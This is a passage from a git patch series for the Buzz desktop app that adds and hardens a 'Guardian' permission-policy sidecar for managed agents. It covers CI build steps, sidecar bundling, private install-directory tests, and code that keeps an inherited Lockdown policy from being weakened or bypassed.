&root, previous.as_deref())?; + prune_superseded_versions(&root)?; Ok(status_from_root(&root, target)) } @@ -110,6 +111,7 @@ pub(crate) async fn install_guardian_numbat( .take(); install_result?; finish_activation(&app, &root, previous.as_deref())?; + prune_superseded_versions(&root)?; Ok(status_from_root(&root, target)) } @@ -159,6 +161,7 @@ pub(crate) async fn rollback_guardian_numbat( reconcile_managed_numbat_hooks(&app, ¤t_binary)?; return Err(format!("Guardian rollback hook reconciliation failed; restored the prior active version: {error}")); } + prune_superseded_versions(&root)?; Ok(status_from_root(&root, target)) } diff --git a/desktop/src-tauri/src/guardian_distribution/mod.rs b/desktop/src-tauri/src/guardian_distribution/mod.rs index ead18f84a7..bd460cdcdd 100644 --- a/desktop/src-tauri/src/guardian_distribution/mod.rs +++ b/desktop/src-tauri/src/guardian_distribution/mod.rs @@ -8,8 +8,8 @@ mod store; mod verifier; pub(crate) use activation::{ - activate_receipt, deactivate, load_active_receipt, recover_activation, rollback, - rollback_available, uninstall_active, + activate_receipt, deactivate, load_active_receipt, prune_superseded_versions, + recover_activation, rollback, rollback_available, uninstall_active, }; pub(crate) use archive::inspect_and_extract; pub(crate) use installer::install_current; From 75ff6d9616ff8342fa365ba82b1335a74f33be01 Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Sun, 2 Aug 2026 17:49:45 -0400 Subject: [PATCH 15/27] feat(guardian): bundle verified launcher Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- .github/workflows/ci.yml | 2 +- .github/workflows/linux-canary.yml | 1 + .github/workflows/release.yml | 4 ++++ .github/workflows/signed-macos-canary.yml | 1 + .github/workflows/windows-canary.yml | 1 + Justfile | 5 ++++- desktop/src-tauri/Cargo.toml | 1 + scripts/bundle-sidecars.sh | 18 +++++++++++++++--- 8 files changed, 28 insertions(+), 5 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 60507182d5..753de2e87e 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -980,7 +980,7 @@ jobs: shell: bash run: | mkdir -p desktop/src-tauri/binaries - for bin in buzz-acp buzz-agent buzz-dev-mcp git-credential-nostr buzz; do + for bin in buzz-acp buzz-agent buzz-dev-mcp git-credential-nostr buzz buzz-guardian-numbat; do touch "desktop/src-tauri/binaries/${bin}-${TARGET}.exe" done - name: Clippy (workspace) diff --git a/.github/workflows/linux-canary.yml b/.github/workflows/linux-canary.yml index 1664878770..4616dcb536 100644 --- a/.github/workflows/linux-canary.yml +++ b/.github/workflows/linux-canary.yml @@ -167,6 +167,7 @@ jobs: - name: Build sidecars run: | cargo build --release -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli + cargo build --release --manifest-path desktop/src-tauri/Cargo.toml --bin buzz-guardian-numbat ./scripts/bundle-sidecars.sh - name: Build Linux Tauri app diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 02011ad386..3646b13b87 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -92,6 +92,7 @@ jobs: - name: Build sidecars run: | cargo build --release -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli + cargo build --release --manifest-path desktop/src-tauri/Cargo.toml --bin buzz-guardian-numbat ./scripts/bundle-sidecars.sh # Mesh rev derived from Cargo.lock (no lockstep edit on dep bump); cache key tracks it. @@ -309,6 +310,7 @@ jobs: - name: Build sidecars run: | cargo build --release --target "$TARGET" -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli + cargo build --release --target "$TARGET" --manifest-path desktop/src-tauri/Cargo.toml --bin buzz-guardian-numbat ./scripts/bundle-sidecars.sh "$TARGET" - name: Build unsigned Tauri app @@ -564,6 +566,7 @@ jobs: - name: Build sidecars run: | cargo build --release -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli + cargo build --release --manifest-path desktop/src-tauri/Cargo.toml --bin buzz-guardian-numbat ./scripts/bundle-sidecars.sh - name: Generate release config @@ -713,6 +716,7 @@ jobs: shell: bash run: | cargo build --release --target "$TARGET" -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli + cargo build --release --target "$TARGET" --manifest-path desktop/src-tauri/Cargo.toml --bin buzz-guardian-numbat ./scripts/bundle-sidecars.sh "$TARGET" - name: Build Windows NSIS installer (unsigned) diff --git a/.github/workflows/signed-macos-canary.yml b/.github/workflows/signed-macos-canary.yml index 0a3a513eef..b2281aa453 100644 --- a/.github/workflows/signed-macos-canary.yml +++ b/.github/workflows/signed-macos-canary.yml @@ -94,6 +94,7 @@ jobs: - name: Build sidecars run: | cargo build --release -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli + cargo build --release --manifest-path desktop/src-tauri/Cargo.toml --bin buzz-guardian-numbat ./scripts/bundle-sidecars.sh # Mesh rev derived from Cargo.lock (no lockstep edit on dep bump); cache key tracks it. diff --git a/.github/workflows/windows-canary.yml b/.github/workflows/windows-canary.yml index 29f74fa0f6..19deaf6adc 100644 --- a/.github/workflows/windows-canary.yml +++ b/.github/workflows/windows-canary.yml @@ -123,6 +123,7 @@ jobs: shell: bash run: | cargo build --release --target "$TARGET" -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli + cargo build --release --target "$TARGET" --manifest-path desktop/src-tauri/Cargo.toml --bin buzz-guardian-numbat ./scripts/bundle-sidecars.sh "$TARGET" - name: Build Windows NSIS installer (unsigned) diff --git a/Justfile b/Justfile index d6e86c8d09..af5997df58 100644 --- a/Justfile +++ b/Justfile @@ -155,7 +155,7 @@ _ensure-sidecar-stubs: set -euo pipefail TARGET=$(rustc -vV | sed -n 's|host: ||p') mkdir -p desktop/src-tauri/binaries - SIDECARS=(buzz-acp buzz-agent buzz-dev-mcp git-credential-nostr buzz) + SIDECARS=(buzz-acp buzz-agent buzz-dev-mcp git-credential-nostr buzz buzz-guardian-numbat) if [[ "$TARGET" != *windows* ]]; then SIDECARS+=(buzz-backend-kubernetes) fi @@ -492,12 +492,15 @@ desktop-standalone *ARGS: _ensure-sidecar-stubs set -euo pipefail export PATH="{{justfile_directory()}}/bin:$PATH" cargo build -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p buzz-cli -p git-credential-nostr + cargo build --manifest-path desktop/src-tauri/Cargo.toml --bin buzz-guardian-numbat TARGET=$(rustc -vV | sed -n 's|host: ||p') TARGET_DIR=$(cargo metadata --format-version 1 --no-deps | node -p "JSON.parse(require('fs').readFileSync(0, 'utf8')).target_directory") for bin in buzz-acp buzz-agent buzz-backend-kubernetes buzz-dev-mcp git-credential-nostr buzz; do cp "${TARGET_DIR}/debug/${bin}" "desktop/src-tauri/binaries/${bin}-${TARGET}" chmod +x "desktop/src-tauri/binaries/${bin}-${TARGET}" done + cp "desktop/src-tauri/target/debug/buzz-guardian-numbat" "desktop/src-tauri/binaries/buzz-guardian-numbat-${TARGET}" + chmod +x "desktop/src-tauri/binaries/buzz-guardian-numbat-${TARGET}" cd {{desktop_dir}} [[ -d node_modules ]] || pnpm install unset BUZZ_PRIVATE_KEY BUZZ_SHARE_IDENTITY diff --git a/desktop/src-tauri/Cargo.toml b/desktop/src-tauri/Cargo.toml index b41905586a..c6325d0471 100644 --- a/desktop/src-tauri/Cargo.toml +++ b/desktop/src-tauri/Cargo.toml @@ -6,6 +6,7 @@ version = "0.5.3" description = "Buzz desktop app" authors = ["you"] edition = "2021" +default-run = "buzz-desktop" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html diff --git a/scripts/bundle-sidecars.sh b/scripts/bundle-sidecars.sh index 04089cdd16..0cb0149547 100755 --- a/scripts/bundle-sidecars.sh +++ b/scripts/bundle-sidecars.sh @@ -18,8 +18,10 @@ BINARIES_DIR="desktop/src-tauri/binaries" # invoked with --target, so use the qualified path whenever $1 is set. if [[ -n "${1:-}" ]]; then SRC_DIR="target/${TARGET}/release" + DESKTOP_SRC_DIR="desktop/src-tauri/target/${TARGET}/release" else SRC_DIR="target/release" + DESKTOP_SRC_DIR="desktop/src-tauri/target/release" fi # MSVC emits .exe; Tauri's externalBin then expects binaries/-.exe. @@ -31,10 +33,15 @@ fi missing=() for bin in "${SIDECARS[@]}"; do - [[ -f "$SRC_DIR/${bin}${EXE}" ]] || missing+=("${bin}${EXE}") + if [[ "$bin" == "buzz-guardian-numbat" ]]; then + source_dir="$DESKTOP_SRC_DIR" + else + source_dir="$SRC_DIR" + fi + [[ -f "$source_dir/${bin}${EXE}" ]] || missing+=("${bin}${EXE}") done if [[ ${#missing[@]} -gt 0 ]]; then - echo "Error: missing release binaries in $SRC_DIR: ${missing[*]}" >&2 + echo "Error: missing release binaries: ${missing[*]}" >&2 echo "Run '$BUILD_HINT' first." >&2 echo "Build Guardian with 'cargo build --release --manifest-path desktop/src-tauri/Cargo.toml --bin buzz-guardian-numbat'." >&2 exit 1 @@ -42,8 +49,13 @@ fi mkdir -p "$BINARIES_DIR" for bin in "${SIDECARS[@]}"; do + if [[ "$bin" == "buzz-guardian-numbat" ]]; then + source_dir="$DESKTOP_SRC_DIR" + else + source_dir="$SRC_DIR" + fi destination="$BINARIES_DIR/${bin}-${TARGET}${EXE}" - cp "$SRC_DIR/${bin}${EXE}" "$destination" + cp "$source_dir/${bin}${EXE}" "$destination" # cp preserves the mode of an existing destination on macOS. Generated # sidecar placeholders may not be executable, so make the bundled Unix From 8b011b09faba62973340b2f9a0a54bf9a8a723e6 Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Sun, 2 Aug 2026 17:52:37 -0400 Subject: [PATCH 16/27] test(guardian): cover private Mac install state Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- .../src/guardian_distribution/installer.rs | 36 +++++++++++++++++++ 1 file changed, 36 insertions(+) diff --git a/desktop/src-tauri/src/guardian_distribution/installer.rs b/desktop/src-tauri/src/guardian_distribution/installer.rs index a984ac4a7c..6460f43c56 100644 --- a/desktop/src-tauri/src/guardian_distribution/installer.rs +++ b/desktop/src-tauri/src/guardian_distribution/installer.rs @@ -212,4 +212,40 @@ mod tests { .unwrap_err() .contains("not a real directory")); } + + #[cfg(unix)] + #[test] + fn managed_store_repairs_directory_permissions_and_keeps_downloads_private() { + use std::os::unix::fs::PermissionsExt; + + let parent = tempfile::tempdir().unwrap(); + let component_root = parent.path().join("components"); + fs::create_dir(&component_root).unwrap(); + fs::set_permissions(&component_root, fs::Permissions::from_mode(0o755)).unwrap(); + + create_restricted_directory(&component_root, "component store").unwrap(); + assert_eq!( + fs::metadata(&component_root).unwrap().permissions().mode() & 0o777, + 0o700 + ); + + let download = component_root.join("download"); + drop(create_private_file(&download).unwrap()); + assert_eq!( + fs::metadata(&download).unwrap().permissions().mode() & 0o777, + 0o600 + ); + } + + #[test] + fn private_download_creation_never_overwrites_a_locked_or_partial_file() { + let root = tempfile::tempdir().unwrap(); + let download = root.path().join("download"); + fs::write(&download, b"partial prior download").unwrap(); + + assert!(create_private_file(&download) + .unwrap_err() + .contains("create private Guardian download")); + assert_eq!(fs::read(download).unwrap(), b"partial prior download"); + } } From 14e4776bc4e8ef5cb9d79b2b167abe3cead22293 Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Sun, 2 Aug 2026 18:04:23 -0400 Subject: [PATCH 17/27] fix(guardian): preserve deploy policy after rebase Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- desktop/src-tauri/src/commands/agents_deploy.rs | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/desktop/src-tauri/src/commands/agents_deploy.rs b/desktop/src-tauri/src/commands/agents_deploy.rs index 9bb0f6230d..9f26bda4e0 100644 --- a/desktop/src-tauri/src/commands/agents_deploy.rs +++ b/desktop/src-tauri/src/commands/agents_deploy.rs @@ -187,7 +187,10 @@ pub(super) fn deploy_payload_json( #[cfg(test)] mod tests { use super::*; - use crate::managed_agents::{readiness::EffectiveHarnessDescriptor, RespondTo, TeamRecord}; + use crate::managed_agents::{ + readiness::{EffectiveHarnessDescriptor, GuardianPermissionPolicy}, + RespondTo, TeamRecord, + }; fn record() -> ManagedAgentRecord { serde_json::from_value(serde_json::json!({ @@ -223,6 +226,7 @@ mod tests { ("GOOSE_MODE".into(), "custom".into()), ("SECRET_FROM_PERSONA".into(), "secret".into()), ]), + guardian_policy: GuardianPermissionPolicy::Monitor, }; let teams: Vec = serde_json::from_value(serde_json::json!([{ "id": "team-1", "name": "Team", "instructions": "Coordinate", "persona_ids": [], "created_at": "2026-01-01T00:00:00Z", "updated_at": "2026-01-01T00:00:00Z" From ecaf9bef1aa7a84c5101b8266d50adbf21fc4a7e Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Sun, 2 Aug 2026 18:55:56 -0400 Subject: [PATCH 18/27] fix(guardian): address review portability gaps Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- Justfile | 3 ++- .../src-tauri/src/commands/numbat_findings.rs | 27 ++++++++++++++++++- .../readiness/effective_harness.rs | 5 ++++ .../agents/ui/GuardianPolicyField.test.mjs | 2 +- .../agents/ui/GuardianPolicyField.tsx | 3 ++- 5 files changed, 36 insertions(+), 4 deletions(-) diff --git a/Justfile b/Justfile index af5997df58..61990b9fe7 100644 --- a/Justfile +++ b/Justfile @@ -495,11 +495,12 @@ desktop-standalone *ARGS: _ensure-sidecar-stubs cargo build --manifest-path desktop/src-tauri/Cargo.toml --bin buzz-guardian-numbat TARGET=$(rustc -vV | sed -n 's|host: ||p') TARGET_DIR=$(cargo metadata --format-version 1 --no-deps | node -p "JSON.parse(require('fs').readFileSync(0, 'utf8')).target_directory") + DESKTOP_TARGET_DIR=$(cargo metadata --manifest-path desktop/src-tauri/Cargo.toml --format-version 1 --no-deps | node -p "JSON.parse(require('fs').readFileSync(0, 'utf8')).target_directory") for bin in buzz-acp buzz-agent buzz-backend-kubernetes buzz-dev-mcp git-credential-nostr buzz; do cp "${TARGET_DIR}/debug/${bin}" "desktop/src-tauri/binaries/${bin}-${TARGET}" chmod +x "desktop/src-tauri/binaries/${bin}-${TARGET}" done - cp "desktop/src-tauri/target/debug/buzz-guardian-numbat" "desktop/src-tauri/binaries/buzz-guardian-numbat-${TARGET}" + cp "${DESKTOP_TARGET_DIR}/debug/buzz-guardian-numbat" "desktop/src-tauri/binaries/buzz-guardian-numbat-${TARGET}" chmod +x "desktop/src-tauri/binaries/buzz-guardian-numbat-${TARGET}" cd {{desktop_dir}} [[ -d node_modules ]] || pnpm install diff --git a/desktop/src-tauri/src/commands/numbat_findings.rs b/desktop/src-tauri/src/commands/numbat_findings.rs index 7d8f9617ff..74513bd91e 100644 --- a/desktop/src-tauri/src/commands/numbat_findings.rs +++ b/desktop/src-tauri/src/commands/numbat_findings.rs @@ -267,7 +267,32 @@ fn findings_generation(path: &Path) -> Result { .map_err(|error| format!("failed to identify Guardian storage: {error}")) } -#[cfg(not(unix))] +#[cfg(windows)] +fn findings_generation(path: &Path) -> Result { + use std::os::windows::fs::MetadataExt as _; + + path.metadata() + .map(|metadata| { + // A rename preserves timestamps on Windows. The volume/file index + // identifies the replacement file instead, matching Unix inode + // semantics and invalidating stale cursors after retention rotates. + let volume = u64::from(metadata.volume_serial_number().unwrap_or_default()); + let index = metadata + .file_index() + .unwrap_or_else(|| metadata.creation_time() ^ metadata.file_size().rotate_left(17)); + (index ^ volume.rotate_left(32)) & CURSOR_GENERATION_MASK + }) + .or_else(|error| { + if error.kind() == std::io::ErrorKind::NotFound { + Ok(0) + } else { + Err(error) + } + }) + .map_err(|error| format!("failed to identify Guardian storage: {error}")) +} + +#[cfg(not(any(unix, windows)))] fn findings_generation(path: &Path) -> Result { path.metadata() .and_then(|metadata| metadata.modified()) diff --git a/desktop/src-tauri/src/managed_agents/readiness/effective_harness.rs b/desktop/src-tauri/src/managed_agents/readiness/effective_harness.rs index dac8cd4200..ecfa486367 100644 --- a/desktop/src-tauri/src/managed_agents/readiness/effective_harness.rs +++ b/desktop/src-tauri/src/managed_agents/readiness/effective_harness.rs @@ -98,6 +98,11 @@ pub(crate) fn resolve_effective_harness_descriptor( ); let mut effective_env = resolve_effective_agent_env_with_def(record, personas, runtime_meta, global, harness_def); + // Guardian owns the managed harness permission mode. Preserving a generic + // `accept-edits` or `bypass-permissions` value here would let a lower env + // layer punch through an inherited lockdown (or bypass monitor evidence). + // Non-Guardian permission modes remain available to unmanaged buzz-acp + // processes, but managed agents intentionally resolve to default/dont-ask. effective_env .env .retain(|key, _| !key.eq_ignore_ascii_case("BUZZ_ACP_PERMISSION_MODE")); diff --git a/desktop/src/features/agents/ui/GuardianPolicyField.test.mjs b/desktop/src/features/agents/ui/GuardianPolicyField.test.mjs index 71e54abe5b..dad91786f4 100644 --- a/desktop/src/features/agents/ui/GuardianPolicyField.test.mjs +++ b/desktop/src/features/agents/ui/GuardianPolicyField.test.mjs @@ -63,7 +63,7 @@ test("Guardian policy renders the monitor default with accessible consequence co ); assert.match( html, - /id="global-agent-guardian-policy-description"[^>]*>Monitor allows permission requests and records each decision\. Lockdown denies permission requests before the tool runs\./, + /id="global-agent-guardian-policy-description"[^>]*>Monitor allows permission requests and records each decision\. Lockdown denies permission requests before the tool runs\. An inherited Lockdown policy cannot be weakened for an individual agent\./, ); }); diff --git a/desktop/src/features/agents/ui/GuardianPolicyField.tsx b/desktop/src/features/agents/ui/GuardianPolicyField.tsx index 7b40b7fa3c..c3d24f2a64 100644 --- a/desktop/src/features/agents/ui/GuardianPolicyField.tsx +++ b/desktop/src/features/agents/ui/GuardianPolicyField.tsx @@ -41,7 +41,8 @@ export function GuardianPolicyField({ id="global-agent-guardian-policy-description" > Monitor allows permission requests and records each decision. Lockdown - denies permission requests before the tool runs. + denies permission requests before the tool runs. An inherited Lockdown + policy cannot be weakened for an individual agent.

); From 67666324dacecaa064078ca01abe5b5c9961c589 Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Sun, 2 Aug 2026 19:33:56 -0400 Subject: [PATCH 19/27] fix(guardian): close raw policy editor bypass Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- .../features/agents/ui/AgentConfigFields.tsx | 44 +++++++++++-------- .../ui/agentConfigFieldsContract.test.mjs | 21 +++++++++ 2 files changed, 47 insertions(+), 18 deletions(-) diff --git a/desktop/src/features/agents/ui/AgentConfigFields.tsx b/desktop/src/features/agents/ui/AgentConfigFields.tsx index df12a84910..14a4847236 100644 --- a/desktop/src/features/agents/ui/AgentConfigFields.tsx +++ b/desktop/src/features/agents/ui/AgentConfigFields.tsx @@ -70,6 +70,26 @@ const BAKED_STRUCTURED_KEYS = new Set([ BUZZ_AGENT_THINKING_EFFORT, GUARDIAN_POLICY_ENV, ]); + +export function getGenericEnvVars( + envVars: Record, +): Record { + return Object.fromEntries( + Object.entries(envVars).filter(([key]) => !BAKED_STRUCTURED_KEYS.has(key)), + ); +} + +export function mergeGenericEnvVars( + current: Record, + nextGeneric: Record, +): Record { + const merged = { ...nextGeneric }; + for (const key of BAKED_STRUCTURED_KEYS) { + const value = current[key]; + if (value !== undefined) merged[key] = value; + } + return merged; +} const PROGRESSIVE_FIELDS_TRANSITION = { duration: 0.22, ease: [0.23, 1, 0.32, 1], @@ -574,14 +594,10 @@ export function AgentConfigFields({ } function handleEnvVarsChange(next: Record) { - const effort = effortPersistenceKey - ? config.env_vars[effortPersistenceKey] - : undefined; - const merged = { ...next }; - if (effortPersistenceKey && effort !== undefined) { - merged[effortPersistenceKey] = effort; - } - onConfigChange({ ...config, env_vars: merged }); + onConfigChange({ + ...config, + env_vars: mergeGenericEnvVars(config.env_vars, next), + }); } // On internal Block builds, BUZZ_AGENT_PROVIDER is baked in and a boot @@ -918,11 +934,7 @@ export function AgentConfigFields({ label="Environment variables" onChange={handleEnvVarsChange} requiredKeys={advancedRequiredEnvKeys} - value={Object.fromEntries( - Object.entries(config.env_vars).filter( - ([k]) => k !== BUZZ_AGENT_THINKING_EFFORT, - ), - )} + value={getGenericEnvVars(config.env_vars)} /> ) : null} @@ -936,11 +948,7 @@ export function AgentConfigFields({ label="Environment variables" onChange={handleEnvVarsChange} requiredKeys={advancedRequiredEnvKeys} - value={Object.fromEntries( - Object.entries(config.env_vars).filter( - ([k]) => k !== BUZZ_AGENT_THINKING_EFFORT, - ), - )} + value={getGenericEnvVars(config.env_vars)} /> ) : null} diff --git a/desktop/src/features/agents/ui/agentConfigFieldsContract.test.mjs b/desktop/src/features/agents/ui/agentConfigFieldsContract.test.mjs index 7bb3888b34..eb6ce9c9e4 100644 --- a/desktop/src/features/agents/ui/agentConfigFieldsContract.test.mjs +++ b/desktop/src/features/agents/ui/agentConfigFieldsContract.test.mjs @@ -20,12 +20,33 @@ import test from "node:test"; import { CANONICAL_CONFIG_BEHAVIORS, + getGenericEnvVars, + mergeGenericEnvVars, resolveDisclosure, shouldRevealDependentConfigFields, shouldRenderModelControl, shouldShowModelStatusMessage, } from "./AgentConfigFields.tsx"; +test("structured settings cannot be edited through the raw environment editor", () => { + const current = { + BUZZ_AGENT_PROVIDER: "openai", + BUZZ_AGENT_MODEL: "gpt-test", + BUZZ_AGENT_THINKING_EFFORT: "high", + BUZZ_ACP_PERMISSION_MODE: "dont-ask", + ORDINARY_KEY: "visible", + }; + + assert.deepEqual(getGenericEnvVars(current), { ORDINARY_KEY: "visible" }); + assert.deepEqual(mergeGenericEnvVars(current, { ORDINARY_KEY: "changed" }), { + BUZZ_AGENT_PROVIDER: "openai", + BUZZ_AGENT_MODEL: "gpt-test", + BUZZ_AGENT_THINKING_EFFORT: "high", + BUZZ_ACP_PERMISSION_MODE: "dont-ask", + ORDINARY_KEY: "changed", + }); +}); + test("canonical behaviors: onboarding's values are the only behavior", () => { assert.deepEqual(CANONICAL_CONFIG_BEHAVIORS, { // Changing provider auto-selects a valid model (no dead-end empty model). From 8a9e23307b55afa6d3b2f56abf7f2eee9d99ca73 Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Sun, 2 Aug 2026 19:42:09 -0400 Subject: [PATCH 20/27] feat(guardian): publish fail-closed runtime coverage Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- .../src-tauri/src/commands/agent_discovery.rs | 6 +- .../src-tauri/src/commands/agents_deploy.rs | 4 + .../src-tauri/src/managed_agents/discovery.rs | 8 ++ .../src/managed_agents/discovery/presets.rs | 4 + .../src-tauri/src/managed_agents/readiness.rs | 3 +- .../readiness/effective_harness.rs | 115 +++++++++++++++++- .../src-tauri/src/managed_agents/runtime.rs | 5 + .../src/managed_agents/spawn_hash.rs | 5 + desktop/src-tauri/src/managed_agents/types.rs | 22 ++++ .../src/features/settings/ui/HarnessRow.tsx | 13 ++ desktop/src/shared/api/tauri.ts | 16 +++ desktop/src/shared/api/types.ts | 5 + 12 files changed, 203 insertions(+), 3 deletions(-) diff --git a/desktop/src-tauri/src/commands/agent_discovery.rs b/desktop/src-tauri/src/commands/agent_discovery.rs index cbbf4ce351..e0463060ac 100644 --- a/desktop/src-tauri/src/commands/agent_discovery.rs +++ b/desktop/src-tauri/src/commands/agent_discovery.rs @@ -165,7 +165,7 @@ pub async fn save_custom_harness( crate::managed_agents::normalize_agent_args(&definition.command, definition.args.clone()); Ok(AcpRuntimeCatalogEntry { - id: definition.id, + id: definition.id.clone(), label: definition.label, // Security: no user-supplied avatar URL in catalog entries. avatar_url: String::new(), @@ -186,6 +186,10 @@ pub async fn save_custom_harness( auth_status: AuthStatus::NotApplicable, login_hint: None, source: HarnessSource::Custom, + guardian_protection: crate::managed_agents::readiness::guardian_runtime_protection( + &definition.id, + HarnessSource::Custom, + ), // Carry definition env back so the edit form can read and preserve it. definition_env: definition.env, }) diff --git a/desktop/src-tauri/src/commands/agents_deploy.rs b/desktop/src-tauri/src/commands/agents_deploy.rs index 9f26bda4e0..2e0b11d96b 100644 --- a/desktop/src-tauri/src/commands/agents_deploy.rs +++ b/desktop/src-tauri/src/commands/agents_deploy.rs @@ -227,6 +227,10 @@ mod tests { ("SECRET_FROM_PERSONA".into(), "secret".into()), ]), guardian_policy: GuardianPermissionPolicy::Monitor, + guardian_protection: crate::managed_agents::readiness::guardian_runtime_protection( + "custom", + crate::managed_agents::HarnessSource::Custom, + ), }; let teams: Vec = serde_json::from_value(serde_json::json!([{ "id": "team-1", "name": "Team", "instructions": "Coordinate", "persona_ids": [], "created_at": "2026-01-01T00:00:00Z", "updated_at": "2026-01-01T00:00:00Z" diff --git a/desktop/src-tauri/src/managed_agents/discovery.rs b/desktop/src-tauri/src/managed_agents/discovery.rs index 8d1b8a5013..03f43fff02 100644 --- a/desktop/src-tauri/src/managed_agents/discovery.rs +++ b/desktop/src-tauri/src/managed_agents/discovery.rs @@ -1423,6 +1423,10 @@ fn discover_acp_runtime_phase1(runtime: &'static KnownAcpRuntime) -> PartialEntr auth_status: AuthStatus::Unknown, login_hint: None, source: HarnessSource::Builtin, + guardian_protection: crate::managed_agents::readiness::guardian_runtime_protection( + runtime.id, + HarnessSource::Builtin, + ), // Builtin entries have no user-editable env; definition_env is empty. definition_env: Default::default(), }, @@ -1582,6 +1586,10 @@ pub fn discover_acp_runtimes_from( auth_status: AuthStatus::NotApplicable, login_hint: None, source: HarnessSource::Custom, + guardian_protection: crate::managed_agents::readiness::guardian_runtime_protection( + &def.id, + HarnessSource::Custom, + ), // Carry definition env into the catalog so the edit form can // read it back — prevents silently erasing env on save. definition_env: def.env.clone(), diff --git a/desktop/src-tauri/src/managed_agents/discovery/presets.rs b/desktop/src-tauri/src/managed_agents/discovery/presets.rs index 3622b21c4a..bae7ca00be 100644 --- a/desktop/src-tauri/src/managed_agents/discovery/presets.rs +++ b/desktop/src-tauri/src/managed_agents/discovery/presets.rs @@ -78,6 +78,10 @@ pub(super) fn preset_catalog_entry( auth_status: AuthStatus::NotApplicable, login_hint: None, source: HarnessSource::Preset, + guardian_protection: crate::managed_agents::readiness::guardian_runtime_protection( + def.id, + HarnessSource::Preset, + ), definition_env: Default::default(), } } diff --git a/desktop/src-tauri/src/managed_agents/readiness.rs b/desktop/src-tauri/src/managed_agents/readiness.rs index 54a88d94b7..18ec6e4525 100644 --- a/desktop/src-tauri/src/managed_agents/readiness.rs +++ b/desktop/src-tauri/src/managed_agents/readiness.rs @@ -54,7 +54,8 @@ mod cli_login; pub(crate) mod cli_probe; mod effective_harness; pub(crate) use effective_harness::{ - resolve_effective_harness_descriptor, EffectiveHarnessDescriptor, GuardianPermissionPolicy, + guardian_runtime_protection, resolve_effective_harness_descriptor, validate_guardian_launch, + EffectiveHarnessDescriptor, GuardianPermissionPolicy, }; // ── EffectiveAgentEnv ───────────────────────────────────────────────────────── diff --git a/desktop/src-tauri/src/managed_agents/readiness/effective_harness.rs b/desktop/src-tauri/src/managed_agents/readiness/effective_harness.rs index ecfa486367..6b3a5d4a4a 100644 --- a/desktop/src-tauri/src/managed_agents/readiness/effective_harness.rs +++ b/desktop/src-tauri/src/managed_agents/readiness/effective_harness.rs @@ -1,5 +1,8 @@ use std::collections::BTreeMap; +use crate::managed_agents::types::{ + GuardianProtectionLevel, GuardianRuntimeProtection, HarnessSource, +}; use crate::managed_agents::{ discovery::known_acp_runtime, normalize_agent_args, types::ManagedAgentRecord, }; @@ -14,6 +17,9 @@ pub(crate) struct EffectiveHarnessDescriptor { pub env: BTreeMap, /// Resolved separately so generic environment layering cannot weaken it. pub guardian_policy: GuardianPermissionPolicy, + /// Bound to the resolved catalog source so a custom executable cannot gain + /// protection merely by borrowing a built-in command name. + pub guardian_protection: GuardianRuntimeProtection, } #[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] @@ -31,6 +37,49 @@ impl GuardianPermissionPolicy { } } +pub(crate) fn guardian_runtime_protection( + runtime_id: &str, + source: HarnessSource, +) -> GuardianRuntimeProtection { + // Buzz Agent's permission boundary is owned and tested in this repository. + // Every external adapter remains unqualified until an exact-version, + // host-mode and side-effect conformance result is published. + if source == HarnessSource::Builtin && runtime_id == "buzz-agent" { + return GuardianRuntimeProtection { + level: GuardianProtectionLevel::L2, + summary: "Buzz permission gate tested; native tool coverage is not claimed".to_string(), + lockdown_allowed: true, + }; + } + + GuardianRuntimeProtection { + level: GuardianProtectionLevel::L0, + summary: if source == HarnessSource::Custom { + "Unsupported until this custom runtime has a signed conformance result".to_string() + } else { + "Protection qualification pending for this exact runtime and host mode".to_string() + }, + lockdown_allowed: false, + } +} + +pub(crate) fn validate_guardian_launch( + descriptor: &EffectiveHarnessDescriptor, +) -> Result<(), String> { + if descriptor.guardian_policy != GuardianPermissionPolicy::Lockdown { + return Ok(()); + } + + if descriptor.guardian_protection.lockdown_allowed { + Ok(()) + } else { + Err(format!( + "Guardian Lockdown refused to launch {}: {}", + descriptor.command, descriptor.guardian_protection.summary + )) + } +} + fn resolve_guardian_policy<'a>( layers: impl IntoIterator>, ) -> GuardianPermissionPolicy { @@ -73,6 +122,13 @@ pub(crate) fn resolve_effective_harness_descriptor( .unwrap_or(""); crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(runtime_id) }; + let guardian_protection = if harness_def.is_some() { + guardian_runtime_protection("custom", HarnessSource::Custom) + } else { + runtime_meta + .map(|runtime| guardian_runtime_protection(runtime.id, HarnessSource::Builtin)) + .unwrap_or_else(|| guardian_runtime_protection("custom", HarnessSource::Custom)) + }; let args = { let record_args = record.agent_args.clone(); let instance_has_args = record_args.iter().any(|arg| !arg.trim().is_empty()); @@ -112,12 +168,17 @@ pub(crate) fn resolve_effective_harness_descriptor( args, env: effective_env.env, 